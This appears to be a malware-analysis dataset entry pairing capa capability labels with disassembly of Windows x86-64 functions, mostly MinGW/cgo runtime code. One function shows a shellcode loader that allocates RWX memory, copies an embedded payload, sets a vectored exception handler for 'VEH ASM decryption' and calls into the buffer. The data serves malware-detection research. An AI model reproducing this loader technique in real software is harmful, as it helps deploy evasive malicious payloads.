joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6fc67030
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov ecx, 0x18
call sym.malloc
test rax, rax
je 0x6fc6706a
mov rdx, qword [rbx]
mov rcx, rax
mov qword [rax], rdx
mov rdx, qword [rbx + 8]
mov qword [rax + 8], rdx
mov rdx, qword [rbx + 0x10]
mov qword [rax + 0x10], rdx
add rsp, 0x20
pop rbx
jmp dbg._cgo_sys_thread_start
mov ecx, 2
call qword [sym.__acrt_iob_func]
mov r8d, 0x2b
mov edx, 1
lea rcx, str.runtime_cgo:_out_of_memory_in_thread_start_n
mov r9, rax
call sym.fwrite
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x6fc670f0
Capabilities:
Create thread

Disassembly:
mov rdx, rcx
lea rcx, [dbg.threadentry]
jmp sym._cgo_beginthread

Function at 0x6fc674d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6fd7df24]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6fc67658
mov rax, qword [0x6fd7df28]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6fc6751c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6fc675a5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6fc67500
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6fc6768d
mov rax, qword [0x6fd7df28]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6fd7df28]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6fc67670
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6fc6759e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6fc67600
add dword [0x6fd7df24], 1
cmp edi, 8
jae 0x6fc675d3
test dil, 4
jne 0x6fc67644
test edi, edi
je 0x6fc675c8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6fc6765f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6fc675c8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6fc675ec
jmp 0x6fc675c8
add rsi, qword [0x6fd7df28]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6fc6759e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6fc675c8
xor esi, esi
jmp 0x6fc67527
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6fc675c8
mov rax, qword [0x6fd7df28]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]
Function at 0x6fc67de0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6fd7e200]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6fd7e1e0]
test rbx, rbx
je 0x6fc67e34
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6fc67e2b
test rsi, rsi
je 0x6fc67e2b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6fc67e10
lea rcx, [0x6fd7e200]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x6fc68070
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6fc68080
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6fc68090
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6fc680d1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6fc680c8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6fc680d3
add rax, 0x28
cmp rax, r9
jne 0x6fc680b4
xor eax, eax
ret

Function at 0x6fc68170
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6fcef4d0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6fc681dd
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6fc681dd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6fc681dd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6fc681d4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6fc681df
add rax, 0x28
cmp rax, r9
jne 0x6fc681c0
xor eax, eax
add rsp, 0x28
ret

Function at 0x6fc682e0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6fcef4d0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6fc68300
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6fc682f8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6fc6835d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6fc68354
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6fc68364
add rax, 0x28
cmp rax, r9
jne 0x6fc68340
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x6fc68380
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6fcef4d0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6fc683ee
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6fc683ee
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6fc683ee
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6fc683ee
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6fc683e5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6fc683f5
add rcx, 0x28
cmp rcx, rax
jne 0x6fc683d0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6fc68408
jmp 0x6fc683ee
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6fc68416
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6fc683ee
test r9d, r9d
jg 0x6fc68400
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret

Function at 0x6fc688b0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1400e3820]
mov dword [rax], 1
mov rax, qword [0x1400e3830]
mov dword [rax], 1
mov rax, qword [0x1400e3840]
mov dword [rax], 1
mov rax, qword [0x1400e3770]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400016d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
call fcn.14000d3f7
mov eax, dword [0x1400d9278]
add eax, 0x40
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140001770
lea rax, [rbp - 0x39]
mov qword [rbp - 0x38], rax
nop
nop
lea rdx, [rbp - 0x39]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str.VirtualAlloc
mov rcx, rax
call fcn.1400b3610
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.140001ce6
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400b3b70
lea rax, [rbp - 0x39]
mov rcx, rax
call fcn.1400a5910
nop
mov eax, 1
jmp 0x1400018a0
mov rdx, qword [rbp - 0x10]
mov rax, qword [0x1400e3950]
mov qword [rax], rdx
mov eax, dword [rbp - 4]
mov rdx, qword [0x1400e3950]
mov rdx, qword [rdx]
add rdx, rax
mov rax, qword [0x1400e3960]
mov qword [rax], rdx
mov edx, dword [rbp - 4]
mov rax, qword [rbp - 0x10]
mov r8, rdx
mov edx, 0xffffff90
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [rbp - 0x10]
add rax, 0x20
mov qword [rbp - 0x18], rax
mov eax, dword [0x1400d9278]
mov edx, eax
mov rax, qword [rbp - 0x18]
mov r8, rdx
lea rdx, [0x1400c9020]
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov rdx, qword [rbp - 0x18]
mov rax, qword [0x1400e3940]
mov qword [rax], rdx
mov rax, qword [rbp - 0x18]
mov rcx, rax
call fcn.140001bc3
mov dword [rbp - 0x1c], eax
mov rax, qword [0x1400e2bc0]
mov rdx, rax
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
call rax
mov qword [rbp - 0x28], rax
cmp qword [rbp - 0x28], 0
je 0x140001852
lea rax, str.Executing_the_payload_with_VEH_ASM_decryption..._This_may_take_a_while_depending_on_the_efficiency_of_the_shellcode...
mov rdx, rax
mov rax, qword [0x1400e31c0]
mov rcx, rax
call fcn.1400c2d40
mov rcx, rax
mov rax, qword [0x1400e31d0]
mov rdx, rax
call fcn.1400880b0
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
call rax
mov rax, qword [rbp - 0x10]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov eax, 0
jmp 0x1400018a0
add rsp, 0x88
pop rbx
pop rbp
ret
Function at 0x14000d670
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.1400196f0
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.1400196f0
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x14000e342
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14010f1a8]
test eax, eax
je 0x14000e3da
lea rax, [0x14010f180]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14010f1b0]
mov qword [rbp - 8], rax
jmp 0x14000e3be
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x14000e3b2
cmp qword [rbp - 0x10], 0
je 0x14000e3b2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x14000e378
lea rax, [0x14010f180]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000e3db
nop
add rsp, 0x30
pop rbp
ret

Function at 0x14000e4e0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x14000e508
mov eax, 0
jmp 0x14000e556
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14000e531
mov eax, 0
jmp 0x14000e556
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x14000e551
mov eax, 0
jmp 0x14000e556
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x14001e444
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xffffffffffffffff
lea rax, [0x14001e267]
mov rdx, rax
lea rax, [0x14010fc60]
mov rcx, rax
call fcn.14001d868
mov eax, dword [0x1400d9580]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x14001e497
mov rax, qword [rbp - 0x10]
jmp 0x14001e5f7
call fcn.14001d058
mov qword [rbp - 0x10], rax
lea rax, [0x14001d22f]
test rax, rax
je 0x14001e4b3
cmp qword [rbp - 0x10], 0
jne 0x14001e4bd
mov eax, 0
jmp 0x14001e5f7
mov rax, qword [rbp - 0x10]
mov dword [rax + 0x44], 1
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov rdx, qword [rbp - 0x10]
mov dword [rdx + 0x70], eax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov rdx, qword [rbp - 0x10]
mov qword [rdx + 0x30], rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x38], 0xffffffffffffffff
mov rax, qword [rbp - 0x10]
lea rcx, [rax + 0x68]
mov rax, qword [rbp - 8]
mov rdx, rax
call fcn.14001d17c
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xb8], 0
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x28], 0
mov rax, qword [rbp - 0x10]
lea rdi, [rax + 0x28]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rsi, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, rdi
mov r8, rsi
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DuplicateHandle]
call rax
test eax, eax
jne 0x14001e598
call sub.msvcrt.dll_abort
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadPriority]
call rax
mov rdx, qword [rbp - 0x10]
mov dword [rdx + 0xc0], eax
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xbc], 0
mov rax, qword [rbp - 0x10]
movzx edx, byte [rax + 0x40]
and edx, 0xffffffcf
or edx, 0x10
mov byte [rax + 0x40], dl
mov eax, dword [0x1400d9580]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
test eax, eax
jne 0x14001e5f3
call sub.msvcrt.dll_abort
mov rax, qword [rbp - 0x10]
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x14001e6f4
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp - 0x10], 0
mov rax, qword [rbp + 0x10]
mov dword [rbp - 4], eax
call fcn.14001e444
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp + 0x10]
mov qword [rax + 8], rdx
mov rax, qword [rbp - 0x18]
mov rax, qword [rax + 0x1d8]
mov rcx, rax
call fcn.14001e295
mov rax, qword [rbp - 0x18]
movzx eax, byte [rax + 0x40]
and eax, 0x30
test al, al
jne 0x14001e761
mov rax, qword [rbp - 0x18]
add rax, 0xd0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_longjmp]
call rax
mov eax, dword [0x1400d9580]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x14001e8a5
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
test rax, rax
jne 0x14001e7fe
mov rax, qword [rbp - 0x10]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x14001e7b9
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 8]
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call fcn.14001cf31
mov qword [rbp - 0x10], 0
mov eax, dword [0x1400d9580]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
jmp 0x14001e8a5
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 8]
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xbc], 1
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x14001e838
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x44]
and eax, 4
test eax, eax
je 0x14001e8a5
mov rax, qword [rbp - 0x10]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x28], 0
mov rax, qword [rbp - 0x10]
mov rcx, rax
call fcn.14001cf31
mov qword [rbp - 0x10], 0
mov eax, dword [0x1400d9580]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
mov eax, dword [rbp - 4]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll__endthreadex]
call rax
nop
Function at 0x14008db50
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno_1
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x14008db98
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x14008db6a
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400c5ff0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400e2bf0]
mov rcx, qword [rax]
call fcn.140025f20
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
call fcn.1400c5fa0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov rcx, rax
mov rax, rdx
sub rax, 1
jne 0x1400c606c
call fcn.1400c5740
mov rcx, rax
mov rax, qword [rax]
call qword [rax + 0x10]
mov ecx, 2
mov rbx, rax
call rsi
mov r9, rax
mov r8d, 0xb
mov edx, 1
lea rcx, str.__what__:
call sub.msvcrt.dll_fwrite
mov ecx, 2
call rsi
mov rdx, rax
mov rcx, rbx
call sub.msvcrt.dll_fputs
mov ecx, 2
call rsi
mov rdx, rax
mov ecx, 0xa
call sub.msvcrt.dll_fputc
call fcn.1400c5830
call sub.msvcrt.dll_abort
mov rcx, rdi
call fcn.140019eb0
call fcn.1400c5bc0
call fcn.1400c5740
call fcn.1400c5830
jmp 0x1400c605a
Function at 0x1400c76e0
Capabilities:
Query environment variable

Disassembly:
push rdi
sub rsp, 0x20
lea rdi, [rcx + 0xa0]
mov rcx, rdi
call sub.msvcrt.dll_malloc
test rax, rax
je 0x1400c5724
lea rdi, [rax + 8]
mov qword [rax], 0
lea rdx, [rax + 0xa0]
mov qword [rax + 0x98], 0
and rdi, 0xfffffffffffffff8
sub rax, rdi
lea ecx, [rax + 0xa0]
xor eax, eax
shr ecx, 3
rep stosq qword [rdi], rax
mov rax, rdx
add rsp, 0x20
pop rdi
ret
mov rcx, rdi
call fcn.140026980
test rax, rax
je 0x1400c76c0
jmp 0x1400c56e9
call fcn.1400c5fa0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
call fcn.1400c5fa0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
xor edx, edx
lea rcx, [0x1400d9bc0]
movabs rsi, 0x2e78786362696c67
movabs r12, 0x6c6f6f705f68652e
call fcn.14001c348
pxor xmm0, xmm0
lea rcx, str.GLIBCXX_TUNABLES
mov qword [0x1400d9bd8], 0
movups xmmword [0x1400d9bc8], xmm0
call sub.msvcrt.dll_getenv
mov dword [rsp + 0x40], 0
mov rbx, rax
lea rax, str.obj_size
mov qword [rsp + 0x30], 8
mov qword [rsp + 0x38], rax
lea rax, str.obj_count
mov qword [rsp + 0x48], 9
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x100
test rbx, rbx
jne 0x1400c7795
jmp 0x1400c783f
mov rcx, rbx
mov edx, 0x3a
call sub.msvcrt.dll_strchr
mov rbx, rax
test rax, rax
je 0x1400c77f0
xor eax, eax
cmp byte [rbx], 0x3a
sete al
add rbx, rax
cmp qword [rbx], rsi
jne 0x1400c7780
cmp qword [rbx + 7], r12
jne 0x1400c7780
cmp byte [rbx + 0xf], 0x2e
jne 0x1400c7780
add rbx, 0x10
lea rdi, [rsp + 0x30]
lea r13, [rsp + 0x60]
mov rbp, qword [rdi]
test rbp, rbp
je 0x1400c77da
mov rcx, qword [rdi + 8]
mov r8, rbp
mov rdx, rbx
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x1400c77e4
cmp byte [rbx + rbp], 0x3d
je 0x1400c7875
add rdi, 0x18
cmp r13, rdi
jne 0x1400c77bf
jmp 0x1400c7780
mov eax, dword [rsp + 0x58]
mov edx, 0x1000
mov ecx, 6
cmp eax, edx
cmovle edx, eax
mov eax, dword [rsp + 0x40]
test eax, eax
cmove eax, ecx
movsxd rbx, eax
movsxd rax, edx
add rbx, 0x26
imul rbx, rax
shl rbx, 3
mov qword [0x1400d9bd8], rbx
jne 0x1400c784f
lea rcx, [0x1400c5e30]
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp fcn.140001583
mov qword [0x1400d9bd8], 0x16000
mov ebx, 0x16000
mov rcx, rbx
call sub.msvcrt.dll_malloc
mov qword [0x1400d9bd0], rax
test rax, rax
je 0x1400c78ac
xor edx, edx
mov qword [0x1400d9bc8], rax
mov qword [rax], rbx
mov qword [rax + 8], rdx
jmp 0x1400c7827
lea rdx, [rsp + 0x28]
lea rcx, [rbx + rbp + 1]
xor r8d, r8d
call sub.msvcrt.dll_strtoul
mov rbx, qword [rsp + 0x28]
movzx edx, byte [rbx]
cmp dl, 0x3a
je 0x1400c789c
test dl, dl
jne 0x1400c7780
test eax, eax
js 0x1400c7780
mov dword [rdi + 0x10], eax
jmp 0x1400c7780
xor ecx, ecx
mov qword [0x1400d9bd8], rcx
jmp 0x1400c7827